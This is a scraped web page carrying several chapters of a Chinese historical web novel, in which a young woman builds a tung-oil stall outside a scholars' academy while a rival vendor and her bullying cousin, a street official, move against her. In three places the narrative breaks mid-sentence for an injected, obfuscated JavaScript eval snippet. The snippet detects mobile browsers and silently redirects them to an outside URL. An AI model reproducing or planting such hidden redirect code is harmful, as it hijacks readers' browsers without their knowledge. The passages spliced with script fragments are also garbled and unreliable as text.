因着天色暗,鸿文这回不仅送她出庄,还得了北夫人的吩咐,带着两个小厮,点了火把,直接送她下山回城。 两人路上说起走水一事,房锦儿想起什么,突然问道:“走水之前,我在坡上看见那油匠和王饷争执,好似指着油缸与他解释些什么,没解释明白,这才去取了灯,你可听那油匠说起?” 鸿文点头:“他觉着仓里有几缸油少了寸许,王饷不信,反说他眼瞎,他便想取灯照明给王饷看。” 房锦儿若有所思:“那你们可查了仓房?缸里的油究竟少没少?” 鸿文看她表情,道:“还未细查。你觉得此事与走水有关?” 房锦儿耸了耸肩:“我胡乱问问。” - 又是响雷又是下雨,眼瞅着天全黑了,房锦儿还没到家,锦云和进逸坐不住了,急得团团转。 吴顺都下值回来了,薛湘也跟着担忧起来。 “听说那山路不好走,她又是个小女娘家的,城外不比城里,会不会碰到什么事?” 吴顺放下吃了一半的酱蒸肉,道:“我出去看看。” 他心中也有些不安,两司并案的事还没完,外头那个到底是山贼还是流寇,谁也说不准。 薛湘把外裳和佩刀拿给他。 吴顺穿了衣服,刚要出门,忽听外头起了动静,夫妻两人下意识把锦云和进逸拉住,屏息细听。 “咦,人呢?锦云?逸哥儿?” “阿姐——” 锦云听出是房锦儿的声音,像头小鹰似地,一个扑棱冲出屋去,进逸紧随其后。 吴顺和薛湘对视一眼,当即解了佩刀,坐下重新夹起酱蒸肉。 “你这小娘子,怎这么晚才回?教人担心死了……” 薛湘数落着探头出去,本以为会和往日一样,见到房锦儿满身疲惫,耷拉着脸踱过来,哪知头一伸出去,便被亮光晃晕了眼。 定睛一看,才发现房锦儿一手端了盏陶油灯,一手拎着只冒油的烧鹅,胳膊底下拢着两只小的,欢天喜地朝她跑来。 …… 钱有了,油有了,接下来便是怎么卖。 房锦儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878591|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手攥着只鹅腿狼吞虎咽,一手拿筷箸拨拉那油灯的灯芯,目不转睛,跟头一回见这玩意似的。 事实上,房锦儿还真是头一回见。 马上要去卖灯油了,自家还连盏灯都没有,说出去让人笑话。况且知己知彼,才能百战百胜嘛,她也得知道这桐油烧起灯来到底如何。 薛湘把另一只鹅腿撕下来,突然不知该给锦云还是给进逸,进逸冲她摇了摇头,她便递给了锦云。 锦云看着烧鹅的眼睛比那油灯还亮,五岁不到的小女娘,已经吃完了一整只鹅翅膀,打了个饱嗝,仍旧接下了那大鹅腿。 这是多久没这么敞开吃过了。 这些日子送给吴家的吃食,因着有房锦儿的嘱咐,两个小的只尝尝味儿,一口不多贪,自家该吃米粥还吃米粥。 今天的烧鹅却是想怎么吃就怎么吃。 薛湘摸摸锦云的小发髻:“慢点儿,别噎着。” 要不是房锦儿得老天爷照拂活了过来,还撑起来了,这小囡眼下还不知过的是什么苦日子。 她转头看着房锦儿:“要不你就去那货郎旁边儿卖?他那位置大家都晓得了,去买的人多,指定亏不着。” “我看行。”吴顺也道。 “商市里头本就热闹,摊子摆那里头也合律法,哦,不过进商市得交些坐税钱,办个文牒。” 房锦儿啃着鹅:“那不进商市,是不是就不交坐税钱了?” “按理说是……” “那巧了,我晓得个比商市更好的去处。” - 月考昨日将将散场,今日的明经书馆便像放风的鸡舍一般,乌泱泱吵得人不得清净。 “我就说昨日那道贴诗当咏莲。” “谬论!你家莲花‘独立寒秋’?” “怎么不行,孤荷行不行?” “……不可教也,我懒得与你浪费口舌。许纵,买灯油,你去否?” 王远瞻冲着学舍外的凉亭唤了一声。 片刻之后,就见一个身材清瘦的绿衣书生小跑过来,像是早便等不及了:“走!” 王远瞻狐疑看他:“你小子怎这般兴奋?” “没什么,考得不错。” 王远瞻一眼便瞧见他匆匆往袖中藏书:“藏什么,我瞧瞧,你小子该不会背着我偷学——” “推命数?好啊,原来还是满脑子抽马,当心我告诉你阿爹。” 许纵一把将书抢回:“你告便是!都考完了,我消遣片刻又如何。” 许纵很是不满。 上回在那货郎何大的油摊上,就是王远瞻这厮大吼一声,害他错失了请那小女娘算卦的机会。 月考这些时日,他也是一有空便想溜去那油摊碰运气,哪知次次都让王远瞻给逮个正着。 如今已过将近半月,能不能再遇见还不知道。 王远瞻知道他心思,见他不悦,道:“不就是个小女娘么,算得能有多准?我听闻楚国寺里来了个高僧,要不去试试?” “不要。”许纵严词拒绝,“你没亲眼见过,当然不知算得有多准。” 两人你顶一句我撞一句,转眼便到了书馆门前,恰遇见个从外头回来的同砚。 “买桐油去?” 那同砚见他二人手中提着油瓶。 许纵点头,又看对方已经提了打满的油瓶回来,有些惊讶:“未时不到,你怎就买完了?那何大今日这般早?” 那同砚闻言也很是惊讶:“你们不知道?” “知道甚么?” “书馆外头新来了个卖油的,来得比何大早,油还比何大便宜,这几日谁还去商市。” 王远瞻露出个怀疑的表情:“有这事?” 那同砚呵呵一笑:“二位不信便算,反正我今日运气不错,已经抢到了,你们再慢走几步,油不出片刻就要卖光。” 两人这才将信将疑,心说反正都要路过,不如去看一看。 哪知还未踏出书馆大门,便听见外头人声鼎沸得离谱。 两人吃了一惊,再往前看,果见一堆同校的书生挤作一团,正推推搡搡,把个油摊围得水泄不通。 11. 第 11 章 为着与那货郎错开时间,抢占先机,房锦儿决定尽早出门。 卯时不到便等在金光门前,城门一开,小跑上山。 这些日子她跑油庄跑得勤,道路早已烂熟于心,即便黑灯瞎火的也丝毫不惧。 而且大抵是走得多了,腿软气短的毛病也好了不少,起初半路不喝水休息片刻不行,现在已然可以一口气直达庄里。 唯一难的,是背油。 十斤重的桐油,加上那陶罐的重量,往她那单薄的肩膀上一压,看着比她还宽出三拃,几乎能将人掀倒了去。 房锦儿头一日背上那油,被压得龇牙咧嘴。 鸿文都看不过去了:“太造孽,要么是你再雇个驴车?” 房锦儿咬着牙:“行啊,但我钱都用来买油了,你先借我二百文呗。” 鸿文沉默,捂了捂荷包:“算了,就我们庄下这山路,驴车估摸也走不了。” 山路崎岖不说,还窄得要命,驴车拉不上路,即便能拉,只怕半路也得颠簸翻。 房锦儿勉力挤出个笑:“那你把借我的银子攒着,回头攒够了帮我先修修路也行。” 鸿文帮她把背篓推了推:“我看还是你赚了钱来雇我,我给你修路比较快。” 房锦儿摇头:“那我不雇你。” 鸿文:“为何?” 房锦儿认真道:“我想雇个会修路的,免得白费钱。” 哪知话音未落,房锦儿试着走了两步,一个踉跄,硬是洒泼了半罐油。 故而最终第一日,房锦儿只背下不到七斤桐油。 她一路蹒跚走到明经书馆时,已是午正,比计划晚了整整一个时辰。 好在月考临近结束,馆内的学子已经陆续放松,开始有人外出采买日用,客流比想象中多上许多。 房锦儿挑的位置是书馆大门正对过儿。 那地方地势比书馆大门要高出一截,背靠着三五家铺子,从书馆出来,不用举目便能轻易瞧见。 其中两家居中的,一家是售笔墨纸砚,一家是卖些旧书古籍,有时也支个摊子在门口,卖些二手三手的碗盏铺盖,总之但凡穷书生用得着的,淘来什么卖什么。 房锦儿上回来寻许纵时便看到了这块宝地。 她想着旧书铺外已经没位置了,便试探着去找那卖文房四宝的店家问了问,说每月给二十文,能不能通融她靠着铺子墙壁也支个摊儿? 却被那店主轰了出来:“不行不行,成何体统,煞是难看!” 房锦儿心中腹诽:卖个文房四宝还高雅上了。正打算放弃另寻个偏些的位置,忽听见有人唤:“小女娘,小女娘。” 房锦儿抬头张望,见是那旧书铺子门前站了个微胖的妇人,房锦儿拿手指指自己:“娘子叫我?” 那妇人招招手。 房锦儿便过去,那妇人道:“要不你来我这铺子前摆如何?每月二十文。” 房锦儿有些犹豫:“娘子,你这地方都满了,恐怕挤了点儿……”她推了推那一大摊子旧物。 “诶,不碍事,我给你腾出一块来,你瞧。” 妇人笑着过去用力一推,把那竹竿麻布撑起的摊子硬是往边儿上挪出去了三尺。 一面是旧货摊儿,一面是门槛,房锦儿背着油罐站到那三尺之地,左右转了几圈,不多不少,堪堪够。 “太小了些,十五文行不行?” “二十文,你方才都说给那家二十文,我可听见了。” “人家那地方大啊,你这大小只值十文。”房锦儿转头要走。 “十八文,我另允你把招牌挂我这竹竿上。”妇人指了指她撑旧货摊子用的竹竿。 这倒是个好主意。 房锦儿抬眼望了望,那竹竿约有七尺高,招牌若能挂到顶上,怕是能吸引不少人,比立在地上要好许多。 她道:“慢着,我先看一看。” 说着跑到对过的书馆门前仔细观了一观,确认那竹竿当真瞩目,这才回来,道:“行!” 说干就干,房锦儿付了钱,当即把油罐往地上一搁,在那妇人的帮助下开始往竹竿上挂招子。 做招子用的正是那块包袱布,深蓝的颜色,上头专程买了铅白墨,写了“房记桐油灯油”六个竖排大字。 做生意,除了货好,取的就是个“地利”,只要地方对了,区区几字也能揽客。 房锦儿这边还没挂完招牌,路过的生徒已然瞧见了。 “咦,这儿便有卖桐油的了?”几个书生同时叫道,语气又惊又喜。 桐油这东西着实稀缺难买,依他们所知,盛都城里就没几家油铺有售,还时常无货。大安坊商市那货郎何大倒是天天来卖,可一来便宜,二来量少,众人都抢,更是不好买。 这几人一出声,旁边铺子里的自然也闻声跟着来看。 房锦儿这地方本就小,七八个人前后一站,远看着便似十七八人一般挤,倒又把书馆那头刚出门的书生引来几个。 “卖桐油?要啊,这还犹豫甚么。” 有人伸着脖子往房锦儿那油罐里一看,见不过半罐出头,油色金黄,又没甚杂质,很是心动。 有人小声嘀咕:“大老远背到咱们书馆门前售卖,赚的就是辛苦钱,肯定不便宜,我看还是去寻商市何大买。” 另一人道:“那不见得,问一问再说嘛,若是价钱一样,自然买这里的,省得来回跑。” 这话说得在理,众人纷纷开口:“请问娘子的桐油怎么卖?” 房锦儿没想到挂个招牌的功夫已经来了这么多人,忙道:“小摊所售六十八文一斤,今日开市大喜,诸位郎君凡买满半斤皆减一文,头三位买者再减一文!” 她边道边从背篓里拿出量油用的铜角。 这铜角光滑没有槽口,倒油时需得掌握好力度和角度,方能一滴不撒地漏入瓶中,不是件容易事。 她在家拿水练习了几乎一整夜才勉强习得。 “多少?六十八文?” 围观的书生面色皆是一喜,竟没想到比何大卖的还要再便宜两文!买半斤再减一文,头三位再减一文,那岂不是半斤油只要三十二文! 有反应迅速者登时高举油瓶:“我要半斤!” “我也要半斤!” “我油瓶没拿,劳烦娘子给我先留半斤!” “笑话!回去取油瓶罢你,娘子,我要半斤,我第三!” 有人将说话者挤开:“你甚么第三,你方才不是还说要去找何大买么?你去啊,娘子,我我我,我才是第三!” “你们怎好插队,我先来的,第三明明是我!” “胡闹,我头一个看见招牌过来的,你们都休跟我抢!” 十来个书生群情激昂,一下子乱作了一团,愈发分不清究竟谁是头三。房锦儿当然也不知,只得劝道:“诸位郎君莫急,莫急,有话好说,有油好买。” 她故意将话说得颇为大声,尤其“有油好买”四个字,不似劝架,反像吆喝,几嗓子“劝”出去,又陆续引来好些个“买好油”的顾客。 房锦儿手头不过七斤油,哪里经得住这般争抢。 即便她量油的手法很是不熟练,慢得教人着急,也只用了两刻钟,便把油罐卖得见了底。 没买到的书生急了:“没啦?娘子明日还来么?” “还减钱么?” “来来来,明日午时,后日午时,都在此处。” 房锦儿打完最后一点儿油,笑道:“满半斤减一文的惠价持续三日,头三位买者减一文则日日都有,郎君们只管再来便是。” 第一日卖油便是这般过去。 房锦儿收摊数钱,扣去七斤本钱,再扣去泼洒的三斤本钱,共得净利一百零九文。 若是不洒那三斤,就该是二百文。 她心疼得要死,回去的路上便去了趟商市,花三十文又买了套小些的背篓和陶罐,第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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街道司衙门的廨房里,司正牟万里教人把房进利找了过来。 “上回你办那偷药的案,找回的药材可有数过?” “数过。” “齐么?” “齐。” “可今日药行来人说,少了六包,你不知?” 房进利昨夜喝了不少,正是头疼得厉害,他抬眼道:“牟司正这是何意?觉得是我昧下了?” 牟万里把玩着手里的玉短刀:“我没这么说。” 房进利讥笑一声:“几包破药材,值几个钱,我要它作甚?” “错了,那药材可不便宜,药行说里头有山参。若非如此,也不会有贼人费尽心思去偷。” 这是指桑骂槐,骂他是贼? 他有些怒道:“街道司只管抓不管审,我哪晓得这么多?” “不晓得,下回便晓得一下!” 牟万里一大清早吃了上头一顿埋怨,心头本也不爽利,再瞅房进利就愈显得扎眼,看在那一千贯钱的份上他才好言好语地问。 也不过就是提点几句,倒成了他猜忌下属了? 那他还真得往那方面想想。 牟万里眯了眯眼睛:“总之一些个偷鸡摸狗下三滥的手段,莫要带进我街道司里,此等事情,以后也莫要再让我听到。” 房进利憋着一肚子气出了廨房,愈想愈恼火。 偷鸡摸狗下三滥,指谁?是,他房进利从前是跟着坊里的帮闲瞎混,名声不好听,可何时做过偷药材这种下作事? 几根破山参也是他看得上的?他想要甚么参买不起? “呸!” 房进利一脚踢飞了二堂前头的花盆,花盆腾空而起,哐啷一声,正好砸在前来办事的毛富脑袋上,霎时砸出条一指长的血口子。 毛富惨叫一声,捂住血淋淋的脑袋。 哪知还未吭声,房进利大步走来,朝他伸腿又是一脚:“废物!连个花盆都接不住,看甚么看!” 12. 第 12 章 何大这几日生意一落千丈。 从前不管他什么点儿到商市,摊前总等着一堆望眼欲穿的穷书生,两坛子十来斤的桐油,不出半个时辰全数卖光。 可打从三日前起,等着买油的竟是一个也没有。 摊子摆出去整整一刻钟才陆续来人,从前来买油个个都是迫不及待,如今又是嫌他卖得贵,又是说他来太晚。 且连一瓶油也不肯买了,只买二三两。 何大想到那些书生的面目,气得牙痒痒。 七十文一斤的桐油,嫌贵? 那你们倒是休点油灯,读天书去呐! 一群鸡肋做筷的酸秀才,穷得叮当响还学人上什么书馆? 他着实想不通,之前说是因着月考,大都不出校门也就算了,可这几日明明已经考完,为何生意反倒愈发地差? 盛都城通往北氏桐油的这段山路不好走,况且何大还故意走了不为人知的小路。 他回头张望几许,确信四周无人,埋首钻进个被藤蔓遮住的树洞之中。 这树洞不小,能容下两个成年男子。 他摸黑行了三步,触到了底,弯腰细听,确认不见动静,伸手拿开一块树皮,又蹑手蹑脚取下了一块青砖。 原是这树生得紧挨着北氏桐油的院墙,墙那头又恰好搭着间颇为偏远的柴房。 把树皮一剥,青砖一拆,树洞便神不知鬼不觉,摇身成了个通向柴房的暗门。 青砖一取,些微光亮便透进洞来,何大一双眼睛往柴房里看了看,没人,又轻轻将那砖放了回去。 他坐回树洞里,点起火折子。 他今日来得晚,从前要是这个点儿来,王饷必得把他臭骂一顿,现在倒好,成了王饷日日迟到。 生意生意不好,王饷那厮也不教人省心。 何大心中有些说不出地烦躁,把那火折子吹亮,盖熄,吹亮,又盖熄,过了也不知多久,忽听墙那头柴房门开了又关,知是王饷来了。 王饷今个还算守约,给他背来了二十斤桐油。 但何大看了看那俩坛子里,油渣不少,他撇撇嘴没多说,弯腰把带来的空坛从货箱里拿出,把装了油的往里放。 “等会儿。”王饷突然把他拦住。 何大瞅他一眼,从怀中摸出早便准备好的两串钱扔给他:“急个甚么劲,我甚么时候短过你的。” 王饷把钱掂了掂,却没有要让开的意思:“四十五文不行,从今个起,得算五十文一斤。” 何大一愣:“五十文?你小子疯了罢。” 两人声音皆压得极低,王饷道:“四十五文本就是便宜你的,我为你这油,可是连命都差些没了!” “那姓谷的油匠没烧死,还把缸里少了油的事情告诉了我们东家。若不是我那日装疯卖傻,趁着他们救火的功夫躲回仓库,把那油缸都填满了,糊弄了过去,我还能在这庄里混?还能替你弄油?” 何大斥道:“你自个看看这油渣子,你好意思管这叫替我弄油?” 王饷道:“眼下风头没过,我哪敢去偷那上层的清油?能给你凑凑油缸里剩的不错了,就这还是我废了大半夜功夫,你若不要,我卖旁人去。” 何大怒道:“那你卖旁人去,反正我这几日生意差得出奇,我回家种田都比这强。” 他说着要去拿那空坛。 “诶诶诶,急甚么。”王饷见他真走,语气软了一些,“你不想知道你为何生意差?” “为何?” 王饷便把房锦儿买到桐油的事说了:“前几日,有个女娘来我们庄上买散油,我们东家答应了。” 何大吃了一惊:“有这事儿?那你怎不拦着?” “你以为我没拦么!那女娘本事大着呢,可不是那些个被我骂几句便吓走了的怂货。” 摸到北氏桐油的从前也有过,无不是还未见到北夫人,就被王饷挡了回去。 “他娘的。”何大颓然往地上一坐,骂道。 他图的本就是个一家独大,现在可好,凭空杀出个对家。难怪那些个穷书生都不来等他出摊了,原是有人在跟他抢! “可北氏桐油不是向来不卖散油么?怎突然破了例了?” 王饷摇摇头:“那我哪晓得,东家决定的事,轮不着我管。” 何大想了想,伸手搡他:“那既然破例了,你说咱们是不是也……” “诶诶诶,”王饷眼珠子一转,把他手抹开,“你甭想了,你晓得东家卖她多钱一斤?六十文!” 王饷拿手指头比了个六。 “这般贵?”何大愕然,“你不是说那些油行采买只要四十五?为何卖她六十?” “可不是!散买和油行能一样么,她一次能买五百斤?” 何大思索片刻,缓缓点头:“这倒是……” 王饷知他信了,嘴角略过一丝笑意,压了压语气,继续趁热打铁道:“所以说,我花大力气替你弄油,只收你五十文,是不是够意思?你若不要,便是让那女娘趁虚而入,届时真抢走了生意,你我再想回头便难了,你好好想想,是不是这个理儿?” 一番话把何大那点儿怒气泄得干干净净。 是啊,若是现在嫌贵不要,不就等于把这桐油生意拱手让人,不就是便宜了对方么? 凭何! 况且他本是气那生意无缘无故下跌,现在这个“缘故”找着了,对症下药,除掉那病根子,不就行了? 何大如是想着想着,自个把自个开导了,还有些激昂起来。 想跟他抢桐油生意?没那么容易,没门儿! 他倒要看看,一个女娘有什么能耐。 他看着面前两坛子油,蹙了蹙眉,又看向王饷:“行行行,五十就五十,但每天二十斤,不能少,只能多!” 王饷露出个笑:“好说,你放心,我便是豁出去,也定不会少你半斤油。” - “桐油一斤,郎君拿好——” 灰衣灰帽的书生郎君递过一串铜钱,接了那陶油瓶,欢欢喜喜看了一番:“咦,小兄弟擦得当真干净,娘子的油也清亮见底,好,好!” 这便是房锦儿新增的揽客法子,凡买油半斤以上者,由逸哥儿免费帮擦油瓶。 莫看这点惠利颇小,不少书生平日里埋头治学,无暇顾及这等杂事,那油瓶旧垢叠新垢,脏得没法见人,可又少不得要拎出来打油,故而都是半遮半掩地藏着拎。 这下听说房锦儿这里买油还帮擦,无不是纷纷称好,踊跃而至。 连平时只舍得买半斤油的,都为了擦瓶斥资一斤。 逸哥儿有些不好意思地笑笑,数准了铜板,递给一边的小锦云。 锦云梳两个小丫髻,盘着短腿坐在地上,熟练把那铜钱拆了,串到另一根长绳上。 卖油十来日,两小只已经干得有模有样。 “那是自然,我家幼弟做事最是认真,郎君下回只管再来擦瓶,还要多谢郎君捧场。” 房锦儿说着,笑眯眯掂那铜角,又从罐里撇出一小层清油,精精准准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900401|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒进书生的陶瓶里,送给他作添头。 她现在倒油已经熟练多了。 “桐油本就味重,渣滓烧起来更是呛鼻,所以我们房记桐油只卖最好的上层清油,耐烧,味道也小,闻习惯了还觉着有些清香。” “没错,”那书生得了添头很是高兴,闻言,鬼使神差地低头照着油瓶深吸一口,“娘子家的油确实有股清香!” “是么?”有排队的奇了,“我闻闻!” 说着挤上前来,对着那油瓶也是一吸,被呛得咳了两声:“咳咳,诸位别说,好像是有点儿香气。” “真的假的……” 进逸被他们说得犯了疑,嘀咕着也要凑去那油罐跟前细闻,被房锦儿不动声色地一把拦住,掩笑摇了摇头。 “怪了,从前买何大的油,怎不觉得有香气?” “说明他那油不好呗,油至清者为上,你看这油多清,多金黄,何大卖的那油渣滓多,都瞧不出颜色。” “我说从前怎觉这桐油呛鼻,竟是烧到油渣滓了,原来好油味甘香。” “还比何大家便宜两文!” “没错,油好价还低。” “……” 这边书生们你一言我一语,那边房锦儿打油的手就没停下,进逸转眼之间又接了三个擦瓶的活儿,忙得不可开交,铜钱也越数越快。 十个铜钱是多是少打眼便知,六十文数完只消一瞬。 房锦儿看得心惊,悄声提醒:“不急,你慢些数,油我都留着呢,瓶子你慢慢擦便是。” 哪知逸哥儿笑着道:“无碍,阿姐放心,瓶子和钱我兼顾得了。” 逸哥儿是个沉稳性子,打从穿来,房锦儿便没见过他有不着调的时候,瞧他这般自信,想是真有把握的,于是乎不再多问,只由他发挥。 果然不出片刻,逸哥儿就当真显出些本事。 有个书生递过来半斤油钱,逸哥儿扫眼便道:“郎君,还差两文。” 众人“唰”地看过来,那书生有些窘迫,却是不信邪,道:“小阿弟,你看清楚再言语,我这铜钱数好了才拿出来的,莫要平白诬赖。” 逸哥儿扫眼又看了一遍,道:“就是差两文,郎君若不信,请取下来数便知。” “嘿,你这小弟……” 那书生只好红着脸拆开串钱的绳,哪知绳头没拿稳,“叮啷”两声,铜钱骨碌碌滚掉几枚,恰从房锦儿脚边划过。 房锦儿赶忙放下铜角俯身去追。 那铜钱滚得快,房锦儿紧追两步,瞧着就要翻到之时伸手去捉,怎知眼前忽然暗作一片,还未来得及抬头,只听一声闷响,那铜钱便被人踩在了脚下。 若不是房锦儿缩手及时,恐怕一同被踩的就还有她的手指。 她抬头看去,只见一张甚是熟悉的面孔映入眼帘,正是她那二叔房稳康的次子,房进利。 房进利见了她,亦是高高地挑起眉毛,佯装倒吸一口凉气:“嘶……街坊传闻我堂妹起死回生,原来当真,在这里要饭啊……” 他哈哈一笑,显然并不打算把房锦儿放在眼里。 他抬眼扫了一扫面前的油摊儿,喝道:“摊主何在?我乃本坊街道司司副,听闻有人在此侵街占道,违律经营,特来查抄,还不快快给我滚出来。” …… “哼。” 明经书馆的大门前,绿树荫庇之下,何大颠了颠背上的货箱,冷笑着离开。 “小女娘,你就等着吃好果子罢。跟我抢生意,你还嫩了些。” 13. 第 13 章 房进利嗓门大得出奇,一瞬间引得路人纷纷驻足。 房锦儿捡铜钱的手顿了一顿,甚是诧异。 街道司司副? 这泼皮不是坊里的帮闲么,甚么时候混成了个司副?还要抄她的摊儿? 她第一反应,莫不是这厮故意瞎编,专程来挑事要钱的罢? 毕竟依着原身的记忆,这位堂哥从小游手好闲,打架斗殴,最是把欺负她当作乐趣。 从小到大,原身不知在他手上吃了多少亏。 小则嘲弄讥讽,大则出手打人,夺她物件和银两拿去赌博喝花酒。 总之但凡她有个把好东西,藏得不仔细,都要被这厮硬抢了去。 最恶的一次,当属原身从房老二家的浆洗行下了值,恰巧遇见他领着几个喝醉的恶少四处寻摸乐子,看见原身,竟奸计上心,想将她拉进附近的歌楼取乐。 好在路人经过,房进利碍于人多勉强松手,原身这才躲过一劫。 这般恶劣之人,竟能当上街道司的司副? 可看他一身红衣,腰间带刀,人模狗样,又觉得光天化日之下冒充朝廷命官,纵他再是猖狂,谅也不敢。 房锦儿不动声色地打量房进利几眼,捡起那几枚铜钱,起身塞回给书生。 “齐了,郎君数数,我幼弟数钱有两把刷子,如他所说不错,还请郎君赔个礼,添够了钱再打油。如是他看错了,那我也给郎君赔个不是,再多送一两如何?” 该做的生意还是得先照做。 那书生本就有些心虚,正愁找不到台阶下,被房进利突如其来这么一打岔,反倒理直气壮了些。 “我我我,我不要了!你们诬陷好人,不是甚么正经的油商,这这位官人说你们违律经营,我看没错。” 他手一挥,赶紧地挤开人群,溜之大吉。 却是房进利闻言眉头一皱,重新看向房锦儿,脸上讶异之色难掩:“你就是摊主?” 房锦儿面不改色:“是我。” 房进利仍旧不信似地,撩起眼皮又把摊子扫视一圈,仿佛要找出个真正的摊主。 可摊子就这么小,他逡巡一圈,只瞄见了被油罐挡住大半的逸哥儿和锦云。 锦云和房进利一对视,一双圆溜的大眼睛霎时水汪汪,转头便躲到了进逸身后。 进逸也怕,可身为阿兄,无处能避,只能硬着头皮站稳。 这俩小的从前也没少吃房进利的亏,挨骂挨打都是常事。 爹娘常年不着家,他们阿姐又护不住,两个小的便只有忍的份儿。 甚至有一回,房进利要钱要得紧,原身被逼得走投无路,还是锦云哭着拿出最喜欢的小金锁给了,才让原身免遭一顿打。 房锦儿瞧他盯着两个小的,跨步将身一挡,把进逸和锦云遮了个严严实实。 “二堂兄别来无恙啊?妹妹被赶出房家太久,竟连堂兄如今当了官儿都不晓得,真是惭愧。若是早些知道,妹妹就回去拜访了,定不会少了礼数,让堂兄跑这一趟。” 寥寥两句,把房进利查抄摊子,说成了礼数不周的报复。 爱看热闹乃是人之本性,除了那短钱的书生,原先等着买油的郎君们一个没走,加上后来的行人,闻言皆开始交头接耳,嘁嘁嚓嚓。 街道司捉小贩已经够好看的了,“听这意思,还是当差的堂兄捉卖油的堂妹?” “哟,这女娘是被赶出来的?” “怪不得带着两个小的来卖油。” “犯了何错要把人赶出家?没给礼钱还要抄人摊子,怎么,连活路都不给?” “街道司何时也要看钱办差了?” “我瞧着这堂妹挺规矩的啊,倒是那司副一脸凶神恶煞的样。” 众人伸长了脖子等着看,那旧书铺里的客人也闻声出来了,把个铺子门前围得里三圈外三圈,书铺的那妇人也在其中,正站在石阶上。 房进利本就最恨别人当着他的面窃窃私语,又是头回当街办差,被看猴似地看着,气血一上涌,登时被房锦儿带跑偏。 “我……你那是不愿嫁人,自个走的,跟我家有何关系?” 房锦儿反唇相讥:“若是良婿,我为何不愿?若是叔婶给二堂兄也物色个七十的老妪,堂兄娶是不娶?” 旁人闻言又是一阵骚动:“哦,原是逼人家出嫁。” 随行的差役赶忙在他耳旁轻声提醒:“房爷,侵街占道,违律经营。” 房进利得了指点,这才回过神来,忙道:“你休要胡扯,说,谁允你在此处摆摊的,你可知这是强占街陌,有违本朝大律?” 房锦儿摸摸鼻子。 “堂兄明察,强占街陌,是指在妨碍通行之处开铺设摊,或是未经允许,强挡了他人店宅,挤兑了他人生意。可我这摊子不过三尺宽,一不妨碍街道通行,二得了允许才摆,并不挡周围铺子的生意,何来强占?” “何来强占?”房进利被问得一懵。 他哪里懂甚么律法,不过是有人去街道司告状,他听闻能没收查抄银两,便大步来了。 他把方才在他耳边提醒的那差役往前一揪:“你说!” 那差役措手不及,支吾了两声,忽然想到什么,朝房锦儿道:“你说你得了允许,可有人替你证明?” “自然有。” 房锦儿抬眼看了一圈,立时拿目光捉到了那微胖的妇人。 她今日头上簪朵粉花,还怪显眼。 两人一对视,不等房锦儿开口,那妇人便道:“我替她证明,她这摊子靠着我的铺墙,是我应允之下才摆的,不仅不妨我做生意,还给我带来不少新客呢。” 妇人一说话,围观众人便齐刷刷转头看。 她这书铺开了有些年头了,明经书馆的生徒即便没来光顾过,对她也很是眼熟。 人群中有人点起头来,皆道这位店主说话可信。 亦有些从房锦儿摊上买过油的书生开始替她辩解,说她卖的桐油上佳,童叟无欺,这摊子也从不妨碍通行,怕是街道司欺负人。 那差役一时想不出还有何律法可依,房进利没了招,瞥眼瞧见房锦儿那骨瘦如柴的样儿,又听她竟敢义正言辞地让他下不来台,很是窝火。 这房锦儿不是个逆来顺受、窝囊如鼠的性子么? 从前打她两掌屁都不敢放一个的小女娘,如今反了天了,竟敢和他叫板。 房进利心底骂娘。 好不容易都赶出门了,怎就没冻死她? 还让她做起了桐油生意,也不知哪里来的本钱? 想到个钱字,房进利往那装钱的背篓里投去一瞥,本以为这豆大个摊子赚不了几个臭钱,不抄也罢。 没成想一看,傻了。 那背篓里的铜钱盘龙似地卧着,即便上头盖了枯草,也能看出至少有两长串,二百文不止。 一天就有二三百文? 她摆摊儿几天了?五天,十天? 房进利倒吸一口凉气。 街道司那仨瓜俩枣的月奉他不稀罕拿,可入了眼的快钱赚不到手,他便浑身难受。 再想到他这些日子被塞进街道司当牛做马,受那牟万里的气,房锦儿却躲在这里赚钱,过得如此之快活,更是嫉恨不已。 “你又是谁,你说应允便应允?”房进利推开那差役,伸腿便踢了那书铺门前的旧物摊子一脚。 指着店主妇人和房锦儿道:“要我看,这俩摊子都是侵街占道,当同罪并罚!来啊,给我抄了!” “住手,”房锦儿护住油罐,斥道,“谁敢动这两个摊子半分,担心我告上府衙,告你们以权谋私,贪赃枉法!” “嗬,房锦儿,长能耐了,你当你是甚么东西?”房进利怒朝她走去。 “慢慢慢——” 人群之中忽然劈开条口子,书吏刘三儿擦着汗小跑而来,伸手拦住房进利。 他身后还跟着几个街道司的捕快,吴顺和毛富皆在其中。 房锦儿眼尖:“吴大哥?” 吴顺也看见她了:“锦儿?这是怎回事?” 刘三儿本是跟着房进利一同出来的,就是怕房进利不谙律法,惹事生非,半路特地去寻了吴顺等常年巡街的老手,好歹有个帮衬。 没想到还是来晚了些。 围观众人已经被房进利这般不讲道理激怒了,见又来人,不管三七二十一便指摘道:“你们街道司就是这般强取豪夺的?” “当真是豺狼虎豹,目无王法!” 刘三儿和吴顺一行被骂得直喊冤枉,听了好一阵,才明白过来怎么回事。 